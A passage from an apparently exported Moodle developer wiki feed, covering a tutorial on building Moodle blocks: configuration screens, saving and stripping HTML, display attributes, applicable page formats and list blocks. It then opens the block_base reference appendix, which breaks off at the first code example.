Then, we need to create a HTML file that actually prints out the configuration screen. In our case, we &#039;ll just print out a checkbox saying &amp;quot;Do not allow HTML in the content&amp;quot; and a &amp;quot;submit&amp;quot; button. Let&#039;s create the file &amp;lt;span class=&amp;quot;filename&amp;quot;&amp;gt;/blocks/simplehtml/config_global.html&amp;lt;/span&amp;gt; which again must be named just so, and copy paste the following into it:&lt;br /&gt;
&lt;br /&gt;
[[Development_talk:Blocks|TODO: New settings.php method]] &lt;br /&gt;
: Just to note that general documentation about admin settings is at [[Admin_settings#Individual_settings]]. In the absence of documentation, you can look at blocks/course_list, blocks/online_users and blocks/rss_client. They all use a settings.php file.--[[User:Tim Hunt|Tim Hunt]] 19:38, 28 January 2009 (CST)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code php&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: center;&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;block_simplehtml_strict&amp;quot; value=&amp;quot;0&amp;quot; /&amp;gt;&lt;br /&gt;
 &amp;lt;input type=&amp;quot;checkbox&amp;quot; name=&amp;quot;block_simplehtml_strict&amp;quot; value=&amp;quot;1&amp;quot;&lt;br /&gt;
   &amp;lt;?php if(!empty($CFG-&amp;gt;block_simplehtml_strict)) &lt;br /&gt;
             echo &#039;checked=&amp;quot;checked&amp;quot;&#039;; ?&amp;gt; /&amp;gt;&lt;br /&gt;
   &amp;lt;?php print_string(&#039;donotallowhtml&#039;, &#039;block_simplehtml&#039;); ?&amp;gt;&lt;br /&gt;
 &amp;lt;p&amp;gt;&lt;br /&gt;
 &amp;lt;input type=&amp;quot;submit&amp;quot; value=&amp;quot;&amp;lt;?php print_string(&#039;savechanges&#039;); ?&amp;gt;&amp;quot; /&amp;gt;&lt;br /&gt;
 &amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
True to our block&#039;s name, this looks simple enough. What it does is that it displays a checkbox named &amp;quot;block_simplehtml_strict&amp;quot; and if the Moodle configuration variable with the same name (i.e., $CFG-&amp;gt;block_simplehtml_strict) is set and not empty (that means it&#039;s not equal to an empty string, to zero, or to boolean FALSE) it displays the box as pre-checked (reflecting the current status). &lt;br /&gt;
&lt;br /&gt;
Why does it check the configuration setting with the same name? Because the default implementation of the global configuration saving code takes all the variables we have in our form and saves them as Moodle configuration options with the same name. Thus, it&#039;s good practice to use a descriptive name and also one that won&#039;t possibly conflict with the name of another setting. &lt;br /&gt;
&lt;br /&gt;
&amp;quot;block_simplehtml_strict&amp;quot; clearly satisfies both requirements.&lt;br /&gt;
&lt;br /&gt;
The astute reader may have noticed that we actually have &#039;&#039;two&#039;&#039; input fields named &amp;quot;block_simplehtml_strict&amp;quot; in our configuration file. One is hidden and its value is always 0; the other is the checkbox and its value is 1. What gives? Why have them both there?&lt;br /&gt;
&lt;br /&gt;
Actually, this is a small trick we use to make our job as simple as possible. HTML forms work this way: if a checkbox in a form is not checked, its name does not appear at all in the variables passed to PHP when the form is submitted. That effectively means that, when we uncheck the box and click submit, the variable is not passed to PHP at all. Thus, PHP does not know to update its value to &amp;quot;0&amp;quot;, and our &amp;quot;strict&amp;quot; setting cannot be turned off at all once we turn it on for the first time. Not the behavior we want, surely.&lt;br /&gt;
&lt;br /&gt;
However, when PHP handles received variables from a form, the variables are processed in the order in which they appear in the form. If a variable comes up having the same name with an already-processed variable, the new value overwrites the old one. Taking advantage of this, our logic runs as follows: the variable &amp;quot;block_simplehtml_strict&amp;quot; is first unconditionally set to &amp;quot;0&amp;quot;. Then, &#039;&#039;if&#039;&#039; the box is checked, it is set to &amp;quot;1&amp;quot;, overwriting the previous value as discussed. The net result is that our configuration setting behaves as it should.&lt;br /&gt;
&lt;br /&gt;
To round our bag of tricks up, notice that the use of &#039;&#039;if(!empty($CFG-&amp;gt;block_simplehtml_strict))&#039;&#039; in the test for &amp;quot;should the box be checked by default?&amp;quot; is quite deliberate. The first time this script runs, the variable &#039;&#039;&#039;$CFG-&amp;gt;block_simplehtml_strict&#039;&#039;&#039; will not exist at all. After it&#039;s set for the first time, its value can be either &amp;quot;0&amp;quot; or &amp;quot;1&amp;quot;. Given that both &amp;quot;not set&amp;quot; and the string &amp;quot;0&amp;quot; evaluate as empty while the sting &amp;quot;1&amp;quot; does not, we manage to avoid any warnings from PHP regarding the variable not being set at all, &#039;&#039;and&#039;&#039; have a nice human-readable representation for its two possible values (&amp;quot;0&amp;quot; and &amp;quot;1&amp;quot;).&lt;br /&gt;
&lt;br /&gt;
=== config_save() ===&lt;br /&gt;
&lt;br /&gt;
Now that we have managed to cram a respectable amount of tricks into a few lines of HTML, we might as well discuss the alternative in case that tricks are not enough for a specific configuration setup we have in mind. Saving the data is done in the method [[Blocks/Appendix_A#config_save.28.29| config_save()]], the default implementation of which is as follows:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code php&amp;gt; &lt;br /&gt;
function config_save($data) {&lt;br /&gt;
  // Default behavior: save all variables as $CFG properties&lt;br /&gt;
  foreach ($data as $name =&amp;gt; $value) {&lt;br /&gt;
    set_config($name, $value);&lt;br /&gt;
  }&lt;br /&gt;
  return true;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As can be clearly seen, Moodle passes this method an associative array $data which contains all the variables coming in from our configuration screen. If we wanted to do the job without the &amp;quot;hidden variable with the same name&amp;quot; trick we used above, one way to do it would be by overriding this method with the following:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code php&amp;gt;&lt;br /&gt;
function config_save($data) {&lt;br /&gt;
  if(isset($data[&#039;block_simplehtml_strict&#039;])) {&lt;br /&gt;
    set_config(&#039;block_simplehtml_strict&#039;, &#039;1&#039;);&lt;br /&gt;
  }else {&lt;br /&gt;
    set_config(&#039;block_simplehtml_strict&#039;, &#039;0&#039;);&lt;br /&gt;
  }&lt;br /&gt;
  return true;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Quite straightfoward: if the variable &amp;quot;block_simplehtml_strict&amp;quot; is passed to us, then it can only mean that the user has checked it, so set the configuration variable with the same name to &amp;quot;1&amp;quot;. Otherwise, set it to &amp;quot;0&amp;quot;. Of course, this version would need to be updated if we add more configuration options because it doesn&#039;t respond to them as the default implementation does. Still, it&#039;s useful to know how we can override the default implementation if it does not fit our needs (for example, we might not want to save the variable as part of the Moodle configuration but do something else with it).&lt;br /&gt;
&lt;br /&gt;
So, we are now at the point where we know if the block should allow HTML tags in its content or not. How do we get the block to actually respect that setting?&lt;br /&gt;
&lt;br /&gt;
We could decide to do one of two things: either have the block &amp;quot;clean&amp;quot; HTML out from the input before saving it in the instance configuration and then display it as-is (the &amp;quot;eager&amp;quot; approach); or have it save the data &amp;quot;as is&amp;quot; and then clean it up each time just before displaying it (the &amp;quot;lazy&amp;quot; approach). The eager approach involves doing work once when saving the configuration; the lazy approach means doing work each time the block is displayed and thus it promises to be worse performance-wise. We shall hence go with the eager approach.&lt;br /&gt;
&lt;br /&gt;
[[#top|Back to top of page]]&lt;br /&gt;
&lt;br /&gt;
=== instance_config_save() ===&lt;br /&gt;
&lt;br /&gt;
Much as we did just before with overriding [[Blocks/Appendix_A#config_save.28.29| config_save()]], what is needed here is overriding the method [[Blocks/Appendix_A#instance_config_save.28.29| instance_config_save()]] which handles the instance configuration. The default implementation is as follows:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code php&amp;gt;&lt;br /&gt;
function instance_config_save($data) {&lt;br /&gt;
  $data = stripslashes_recursive($data);&lt;br /&gt;
  $this-&amp;gt;config = $data;&lt;br /&gt;
  return set_field(&#039;block_instance&#039;, &lt;br /&gt;
                   &#039;configdata&#039;,&lt;br /&gt;
                    base64_encode(serialize($data)),&lt;br /&gt;
                   &#039;id&#039;, &lt;br /&gt;
                   $this-&amp;gt;instance-&amp;gt;id);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This may look intimidating at first (what&#039;s all this stripslashes_recursive() and base64_encode() and serialize() stuff?) but do not despair; we won&#039;t have to touch any of it. We will only add some extra validation code in the beginning and then instruct Moodle to additionally call this default implementation to do the actual storing of the data. Specifically, we will add a method to our class which goes like this:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;code php&amp;gt;&lt;br /&gt;
function instance_config_save($data) {&lt;br /&gt;
  // Clean the data if we have to&lt;br /&gt;
  global $CFG;&lt;br /&gt;
  if(!empty($CFG-&amp;gt;block_simplehtml_strict)) {&lt;br /&gt;
    $data-&amp;gt;text = strip_tags($data-&amp;gt;text);&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  // And now forward to the default implementation defined in the parent class&lt;br /&gt;
  return parent::instance_config_save($data);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
At last! Now the administrator has absolute power of life and death over what type of content is allowed in our &amp;quot;SimpleHTML&amp;quot; block! Absolute? Well... not exactly. In fact, if we think about it for a while, it will become apparent that if at some point in time HTML is allowed and some blocks have saved their content with HTML included, and afterwards the administrator changes the setting to &amp;quot;off&amp;quot;, this will only prevent subsequent content changes from including HTML. Blocks which already had HTML in their content would continue to display it!&lt;br /&gt;
&lt;br /&gt;
Following that train of thought, the next stop is realizing that we wouldn&#039;t have this problem if we had chosen the lazy approach a while back, because in that case we would &amp;quot;sanitize&amp;quot; each block&#039;s content just before it was displayed. &lt;br /&gt;
&lt;br /&gt;
The only thing we can do with the eager approach is strip all the tags from the content of all SimpleHTML instances as soon as the admin setting is changed to &amp;quot;HTML off&amp;quot;; but even then, turning the setting back to &amp;quot;HTML on&amp;quot; won&#039;t bring back the tags we stripped away. On the other hand, the lazy approach might be slower, but it&#039;s more versatile; we can choose whether to strip or keep the HTML before displaying the content, and we won&#039;t lose it at all if the admin toggles the setting off and on again. Isn&#039;t the life of a developer simple and wonderful?&lt;br /&gt;
&lt;br /&gt;
=== Exercise === &lt;br /&gt;
We will let this part of the tutorial come to a close with the obligatory exercise for the reader: &lt;br /&gt;
In order to have the SimpleHTML block work &amp;quot;correctly&amp;quot;, find out how to strengthen the eager approach to strip out all tags from the existing configuration of all instances of our block, &#039;&#039;&#039;or&#039;&#039;&#039; go back and implement the lazy approach instead. &lt;br /&gt;
(Hint: Do that in the [[Blocks/Appendix_A#get_content.28.29| get_content()]] method.)&lt;br /&gt;
&lt;br /&gt;
=== UPDATING: === &lt;br /&gt;
Prior to version 1.5, the file &#039;&#039;config_global.html&#039;&#039; was named simply &#039;&#039;config.html&#039;&#039;. Also, the methods [[Blocks_Howto#method_config_save| config_save]] and [[Blocks_Howto#method_config_print| config_print]] were named &#039;&#039;&#039;handle_config&#039;&#039;&#039; and &#039;&#039;&#039;print_config&#039;&#039;&#039; respectively. Upgrading a block to work with Moodle 1.5 involves updating these aspects; refer to [[Blocks_Howto#appendix_b| Appendix B]] for more information.&lt;br /&gt;
&lt;br /&gt;
== Eye Candy ==&lt;br /&gt;
&lt;br /&gt;
Our block is just about complete functionally, so now let&#039;s take a look at some of the tricks we can use to make its behavior customized in a few more useful ways.&lt;br /&gt;
&lt;br /&gt;
First of all, there are a couple of ways we can adjust the visual aspects of our block. For starters, it might be useful to create a block that doesn&#039;t display a header (title) at all. You can see this effect in action in the Course Description block that comes with Moodle. This behavior is achieved by, you guessed it, adding one more method to our block class:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code php&amp;gt;&lt;br /&gt;
function hide_header() {&lt;br /&gt;
  return true;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
One more note here: we cannot just set an empty title inside the block&#039;s [[Blocks/Appendix_A#init.28.29| init()]] method; it&#039;s necessary for each block to have a unique, non-empty title after [[Blocks/Appendix_A#init.28.29| init()]] is called so that Moodle can use those titles to differentiate between all of the installed blocks.&lt;br /&gt;
&lt;br /&gt;
Another adjustment we might want to do is instruct our block to take up a certain amount of width on screen. Moodle handles this as a two-part process: first, it queries each block about its preferred width and takes the maximum number as the desired value. Then, the page that&#039;s being displayed can choose to use this value or, more probably, bring it within some specific range of values if it isn&#039;t already. That means that the width setting is a best-effort settlement; your block can &#039;&#039;request&#039;&#039; a certain width and Moodle will &#039;&#039;try&#039;&#039; to provide it, but there&#039;s no guarantee whatsoever about the end result. As a concrete example, all standard Moodle course formats will deliver any requested width between 180 and 210 pixels, inclusive.&lt;br /&gt;
&lt;br /&gt;
To instruct Moodle about our block&#039;s preferred width, we add one more method to the block class:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code php&amp;gt;&lt;br /&gt;
function preferred_width() {&lt;br /&gt;
  // The preferred value is in pixels&lt;br /&gt;
  return 200;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
This will make our block (and all the other blocks displayed at the same side of the page) a bit wider than standard.&lt;br /&gt;
&lt;br /&gt;
Finally, we can also affect some properties of the actual HTML that will be used to print our block. Each block is fully contained within a &amp;amp;lt;table&amp;amp;gt; element, inside which all the HTML for that block is printed. We can instruct Moodle to add HTML attributes with specific values to that container. This would be done to either a) directly affect the end result (if we say, assign bgcolor=&amp;quot;black&amp;quot;), or b) give us freedom to customize the end result using CSS (this is in fact done by default as we&#039;ll see below).&lt;br /&gt;
&lt;br /&gt;
The default behavior of this feature in our case will assign to our block&#039;s container the class HTML attribute with the value &amp;quot;sideblock block_simplehtml&amp;quot; (the prefix &amp;quot;block_&amp;quot; followed by the name of our block, lowercased). We can then use that class to make CSS selectors in our theme to alter this block&#039;s visual style (for example, &amp;quot;.sideblock.block_simplehtml { border: 1px black solid}&amp;quot;).&lt;br /&gt;
&lt;br /&gt;
To change the default behavior, we will need to define a method which returns an associative array of attribute names and values. For example, the version&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code php&amp;gt;&lt;br /&gt;
function html_attributes() {&lt;br /&gt;
  return array(&lt;br /&gt;
    &#039;class&#039;       =&amp;gt; &#039;sideblock block_&#039;. $this-&amp;gt;name(),&lt;br /&gt;
    &#039;onmouseover&#039; =&amp;gt; &amp;quot;alert(&#039;Mouseover on our block!&#039;);&amp;quot;&lt;br /&gt;
  );&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
will result in a mouseover event being added to our block using JavaScript, just as if we had written the onmouseover=&amp;quot;alert(...)&amp;quot; part ourselves in HTML. Note that we actually duplicate the part which sets the class attribute (we want to keep that, and since we override the default behavior it&#039;s our responsibility to emulate it if required). &lt;br /&gt;
&lt;br /&gt;
And the final elegant touch is that we don&#039;t set the class to the hard-coded value &amp;quot;block_simplehtml&amp;quot; but instead use the [[Blocks/Appendix_A#name.28.29| name()]] method to make it dynamically match our block&#039;s name.&lt;br /&gt;
&lt;br /&gt;
===and some other useful examples too:===&lt;br /&gt;
&amp;lt;code php&amp;gt;&lt;br /&gt;
function html_attributes() {&lt;br /&gt;
    // Default case: an id with the instance and a class with our name in it&lt;br /&gt;
    return array(&#039;id&#039; =&amp;gt; &#039;inst&#039;.$this-&amp;gt;instance-&amp;gt;id, &#039;class&#039; =&amp;gt; &#039;block_&#039;. $this-&amp;gt;name());&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This method should return an associative array of HTML attributes that will be given to your block&#039;s container element when Moodle constructs the output HTML. No sanitization will be performed in these elements at all.&lt;br /&gt;
&lt;br /&gt;
If you intend to override this method, you should return the default attributes as well as those you add yourself. The recommended way to do this is:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code php&amp;gt;&lt;br /&gt;
function html_attributes() {&lt;br /&gt;
    $attrs = parent::html_attributes();&lt;br /&gt;
    // Add your own attributes here, e.g.&lt;br /&gt;
    // $attrs[&#039;width&#039;] = &#039;50%&#039;;&lt;br /&gt;
    return $attrs;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Authorized Personnel Only ==&lt;br /&gt;
&lt;br /&gt;
It&#039;s not difficult to imagine a block which is very useful in some circumstances but it simply cannot be made meaningful in others. An example of this would be the &amp;quot;Social Activities&amp;quot; block which is indeed useful in a course with the social format, but doesn&#039;t do anything useful in a course with the weeks format. There should be some way of allowing the use of such blocks only where they are indeed meaningful, and not letting them confuse users if they are not.&lt;br /&gt;
&lt;br /&gt;
Moodle allows us to declare which course formats each block is allowed to be displayed in, and enforces these restrictions as set by the block developers at all times. The information is given to Moodle as a standard associative array, with each key corresponding to a page format and defining a boolean value (true/false) that declares whether the block should be allowed to appear in that page format.&lt;br /&gt;
&lt;br /&gt;
Notice the deliberate use of the term &#039;&#039;page&#039;&#039; instead of &#039;&#039;course&#039;&#039; in the above paragraph. This is because in Moodle 1.5 and onwards, blocks can be displayed in any page that supports them. The best example of such pages are the course pages, but we are not restricted to them. For instance, the quiz view page (the first one we see when we click on the name of the quiz) also supports blocks.&lt;br /&gt;
&lt;br /&gt;
The format names we can use for the pages derive from the name of the script which is actually used to display that page. For example, when we are looking at a course, the script is &amp;lt;span class=&amp;quot;filename&amp;quot;&amp;gt;/course/view.php&amp;lt;/span&amp;gt; (this is evident from the browser&#039;s address line). Thus, the format name of that page is &#039;&#039;&#039;course-view&#039;&#039;&#039;. It follows easily that the format name for a quiz view page is &#039;&#039;&#039;mod-quiz-view&#039;&#039;&#039;. This rule of thumb does have a few exceptions, however:&lt;br /&gt;
&lt;br /&gt;
# The format name for the front page of Moodle is &#039;&#039;&#039;site-index&#039;&#039;&#039;.&lt;br /&gt;
# The format name for courses is actually not just &#039;&#039;&#039;course-view&#039;&#039;&#039;&amp;lt;nowiki&amp;gt;; it is &amp;lt;/nowiki&amp;gt;&#039;&#039;&#039;course-view-weeks&#039;&#039;&#039;, &#039;&#039;&#039;course-view-topics&#039;&#039;&#039;, etc.&lt;br /&gt;
# Even though there is no such page, the format name &#039;&#039;&#039;all&#039;&#039;&#039; can be used as a catch-all option.&lt;br /&gt;
&lt;br /&gt;
We can include as many format names as we want in our definition of the applicable formats. Each format can be allowed or disallowed, and there are also three more rules that help resolve the question &amp;quot;is this block allowed into this page or not?&amp;quot;:&lt;br /&gt;
&lt;br /&gt;
# Prefixes of a format name will match that format name; for example, &#039;&#039;&#039;mod&#039;&#039;&#039; will match all the activity modules. &#039;&#039;&#039;course-view&#039;&#039;&#039; will match any course, regardless of the course format. And finally, &#039;&#039;&#039;site&#039;&#039;&#039; will also match the front page (remember that its full format name is &#039;&#039;&#039;site-index&#039;&#039;&#039;).&lt;br /&gt;
# The more specialized a format name that matches our page is, the higher precedence it has when deciding if the block will be allowed. For example, &#039;&#039;&#039;mod&#039;&#039;&#039;, &#039;&#039;&#039;mod-quiz&#039;&#039;&#039; and &#039;&#039;&#039;mod-quiz-view&#039;&#039;&#039; all match the quiz view page. But if all three are present, &#039;&#039;&#039;mod-quiz-view&#039;&#039;&#039; will take precedence over the other two because it is a better match.&lt;br /&gt;
# The character &#039;&#039;&#039;&amp;lt;nowiki&amp;gt;*&amp;lt;/nowiki&amp;gt;&#039;&#039;&#039; can be used in place of any word. For example, &#039;&#039;&#039;mod&#039;&#039;&#039; and &#039;&#039;&#039;mod-*&#039;&#039;&#039; are equivalent. At the time of this document&#039;s writing, there is no actual reason to utilize this &amp;quot;wildcard matching&amp;quot; feature, but it exists for future usage.&lt;br /&gt;
# The order that the format names appear does not make any difference.&lt;br /&gt;
All of the above are enough to make the situation sound complex, so let&#039;s look at some specific examples. First of all, to have our block appear &#039;&#039;&#039;only&#039;&#039;&#039; in the site front page, we would use:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code php&amp;gt; &lt;br /&gt;
function applicable_formats() {&lt;br /&gt;
  return array(&#039;site&#039; =&amp;gt; true);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
Since &#039;&#039;&#039;all&#039;&#039;&#039; is missing, the block is disallowed from appearing in &#039;&#039;any&#039;&#039; course format; but then &#039;&#039;&#039;site&#039;&#039;&#039; is set to TRUE, so it&#039;s explicitly allowed to appear in the site front page (remember that &#039;&#039;&#039;site&#039;&#039;&#039; matches &#039;&#039;&#039;site-index&#039;&#039;&#039; because it&#039;s a prefix).&lt;br /&gt;
&lt;br /&gt;
For another example, if we wanted to allow the block to appear in all course formats &#039;&#039;except&#039;&#039; social, and also to &#039;&#039;not&#039;&#039; be allowed anywhere but in courses, we would use:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code php&amp;gt; &lt;br /&gt;
function applicable_formats() {&lt;br /&gt;
  return array(&lt;br /&gt;
           &#039;course-view&#039; =&amp;gt; true, &lt;br /&gt;
    &#039;course-view-social&#039; =&amp;gt; false);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This time, we first allow the block to appear in all courses and then we explicitly disallow the social format.&lt;br /&gt;
For our final, most complicated example, suppose that a block can be displayed in the site front page, in courses (but not social courses) and also when we are viewing any activity module, &#039;&#039;except&#039;&#039; quiz. This would be:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;code php&amp;gt;&lt;br /&gt;
function applicable_formats() {&lt;br /&gt;
  return array(&lt;br /&gt;
           &#039;site-index&#039; =&amp;gt; true,&lt;br /&gt;
          &#039;course-view&#039; =&amp;gt; true, &lt;br /&gt;
   &#039;course-view-social&#039; =&amp;gt; false,&lt;br /&gt;
                  &#039;mod&#039; =&amp;gt; true, &lt;br /&gt;
             &#039;mod-quiz&#039; =&amp;gt; false&lt;br /&gt;
  );&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
It is not difficult to realize that the above accomplishes the objective if we remember that there is a &amp;quot;best match&amp;quot; policy to determine the end result.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;UPDATING:&#039;&#039;&#039; &amp;lt;br /&amp;gt;&lt;br /&gt;
Prior to version 1.5, blocks were only allowed in courses (and in Moodle 1.4, in the site front page). Also, the keywords used to describe the valid course formats at the time were slightly different and had to be changed in order to allow for a more open architecture. Refer to [[Blocks/Appendix_B| Appendix B]] for more information on the changes that old blocks have to make to conform to the new standard.&lt;br /&gt;
&lt;br /&gt;
== Lists and Icons ==&lt;br /&gt;
&lt;br /&gt;
In this final part of the guide we will briefly discuss an additional capability of Moodle&#039;s block system, namely the ability to very easily create blocks that display a list of choices to the user. This list is displayed with one item per line, and an optional image (icon) next to the item. An example of such a &#039;&#039;list block&#039;&#039; is the standard Moodle &amp;quot;admin&amp;quot; block, which illustrates all the points discussed in this section.&lt;br /&gt;
&lt;br /&gt;
As we have seen so far, blocks use two properties of [[Blocks/Appendix_A#.24this-.3Econtent| $this-&amp;gt;content]]: &amp;quot;text&amp;quot; and &amp;quot;footer&amp;quot;. The text is displayed as-is as the block content, and the footer is displayed below the content in a smaller font size. List blocks use $this-&amp;gt;content-&amp;gt;footer in the exact same way, but they ignore $this-&amp;gt;content-&amp;gt;text.&lt;br /&gt;
&lt;br /&gt;
Instead, Moodle expects such blocks to set two other properties when the [[Blocks/Appendix_A#get_content.28.29| get_content()]] method is called: $this-&amp;gt;content-&amp;gt;items and $this-&amp;gt;content-&amp;gt;icons. $this-&amp;gt;content-&amp;gt;items should be a numerically indexed array containing elements that represent the HTML for each item in the list that is going to be displayed. Usually these items will be HTML anchor tags which provide links to some page. $this-&amp;gt;content-&amp;gt;icons should also be a numerically indexed array, with exactly as many items as $this-&amp;gt;content-&amp;gt;items has. Each of these items should be a fully qualified HTML &amp;lt;img&amp;gt; tag, with &amp;quot;src&amp;quot;, &amp;quot;height&amp;quot;, &amp;quot;width&amp;quot; and &amp;quot;alt&amp;quot; attributes. Obviously, it makes sense to keep the images small and of a uniform size.&lt;br /&gt;
&lt;br /&gt;
In order to tell Moodle that we want to have a list block instead of the standard text block, we need to make a small change to our block class declaration. Instead of extending class &#039;&#039;&#039;block_base&#039;&#039;&#039;, our block will extend class &#039;&#039;&#039;block_list&#039;&#039;&#039;. For example:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code php&amp;gt; &lt;br /&gt;
 class block_my_menu extends block_list {&lt;br /&gt;
     // The init() method does not need to change at all&lt;br /&gt;
 }&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In addition to making this change, we must of course also modify the [[Blocks/Appendix_A#get_content.28.29| get_content()]] method to construct the [[Blocks/Appendix_A#.24this-.3Econtent| $this-&amp;gt;content]] variable as discussed above:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code php&amp;gt; &lt;br /&gt;
function get_content() {&lt;br /&gt;
  if ($this-&amp;gt;content !== null) {&lt;br /&gt;
    return $this-&amp;gt;content;&lt;br /&gt;
  }&lt;br /&gt;
 &lt;br /&gt;
  $this-&amp;gt;content         = new stdClass;&lt;br /&gt;
  $this-&amp;gt;content-&amp;gt;items  = array();&lt;br /&gt;
  $this-&amp;gt;content-&amp;gt;icons  = array();&lt;br /&gt;
  $this-&amp;gt;content-&amp;gt;footer = &#039;Footer here...&#039;;&lt;br /&gt;
 &lt;br /&gt;
  $this-&amp;gt;content-&amp;gt;items[] = &#039;&amp;lt;a href=&amp;quot;some_file.php&amp;quot;&amp;gt;Menu Option 1&amp;lt;/a&amp;gt;&#039;;&lt;br /&gt;
  $this-&amp;gt;content-&amp;gt;icons[] = &#039;&amp;lt;img src=&amp;quot;images/icons/1.gif&amp;quot; class=&amp;quot;icon&amp;quot; alt=&amp;quot;&amp;quot; /&amp;gt;&#039;;&lt;br /&gt;
 &lt;br /&gt;
  // Add more list items here&lt;br /&gt;
 &lt;br /&gt;
  return $this-&amp;gt;content;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To summarize, if we want to create a list block instead of a text block, we just need to change the block class declaration and the [[Blocks/Appendix_A#get_content.28.29| get_content()]] method. Adding the mandatory [[Blocks/Appendix_A#init.28.29| init()]] method as discussed earlier will then give us our first list block in no time!&lt;br /&gt;
&lt;br /&gt;
[[#top|Back to top of page]]&lt;br /&gt;
&lt;br /&gt;
== See also ==&lt;br /&gt;
[http://dev.moodle.org/mod/resource/view.php?id=48 Unit 7 of the Introduction to Moodle Programming course] is a follow up to this course. (But you should follow the forum discussions of that course closely as there are still some bugs and inconsistencies.)&lt;br /&gt;
&lt;br /&gt;
== Appendices ==&lt;br /&gt;
&lt;br /&gt;
The appendices have been moved to separate pages:&lt;br /&gt;
&lt;br /&gt;
* Appendix A: [[Blocks/Appendix A|&#039;&#039;block_base&#039;&#039; Reference]] &lt;br /&gt;
* Appendix B: [[Blocks/Appendix B|Differences in the Blocks API for Moodle Versions prior to 1.5]]&lt;br /&gt;
* Appendix C: [[Blocks/Appendix C|Creating Database Tables for Blocks (prior to 1.7)]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Blocks]]&lt;br /&gt;
[[Category:Tutorial]]&lt;br /&gt;
&lt;br /&gt;
[[es:Desarrollo de bloques]]&lt;br /&gt;
[[ja:開発:ブロック]]&lt;/div&gt;</summary>
		<author><name>Mits</name></author>
	</entry>
	<entry>
		<id>https://docs.moodle.org/dev/index.php?title=Blocks/Appendix_A&amp;diff=12349</id>
		<title>Blocks/Appendix A</title>
		<link rel="alternate" type="text/html" href="https://docs.moodle.org/dev/index.php?title=Blocks/Appendix_A&amp;diff=12349"/>
		<updated>2009-08-22T16:53:23Z</updated>

		<summary type="html">&lt;p&gt;Mits: ja link&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Appendix A: &#039;&#039;block_base&#039;&#039; Reference ==&lt;br /&gt;
&lt;br /&gt;
This Appendix will discuss the base class &#039;&#039;&#039;block_base&#039;&#039;&#039; from which all other block classes derive, and present each and every method that can be overridden by block developers in detail. Methods that should &#039;&#039;&#039;not&#039;&#039;&#039; be overridden are explicitly referred to as such. After reading this Appendix, you will have a clear understanding of every method which you should or could override to implement functionality for your block.&lt;br /&gt;
&lt;br /&gt;
The methods are divided into three categories: those you may use and override in your block, those that you may &#039;&#039;&#039;not&#039;&#039;&#039; override but might want to use, and those internal methods that should &#039;&#039;&#039;neither&#039;&#039;&#039; be used &#039;&#039;&#039;nor&#039;&#039;&#039; overridden. In each category, methods are presented in alphabetical order.&lt;br /&gt;
&lt;br /&gt;
== Methods you can freely use and override: ==&lt;br /&gt;
&lt;br /&gt;
=== after_install() ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code php&amp;gt;&lt;br /&gt;
function after_install() {&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Available in Moodle 1.7 and later&lt;br /&gt;
&lt;br /&gt;
This method is designed to be overridden by block subclasses, and allows you to specify a set of tasks to be executed after the block is installed.  For example, you may wish to store the date on which the block was installed.  However, each database type has its own way of getting the current date, and when using XMLDB to install your block, these operations are also unsupported. So the best way to complete such a task while maintaining database abstraction is to use XMLDB to install the block, and then use the after_install() method to perform the insertion before the block is used.&lt;br /&gt;
&lt;br /&gt;
Please note that after_install() is called once per block, not once per instance.&lt;br /&gt;
&lt;br /&gt;
=== applicable_formats() ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code php&amp;gt;&lt;br /&gt;
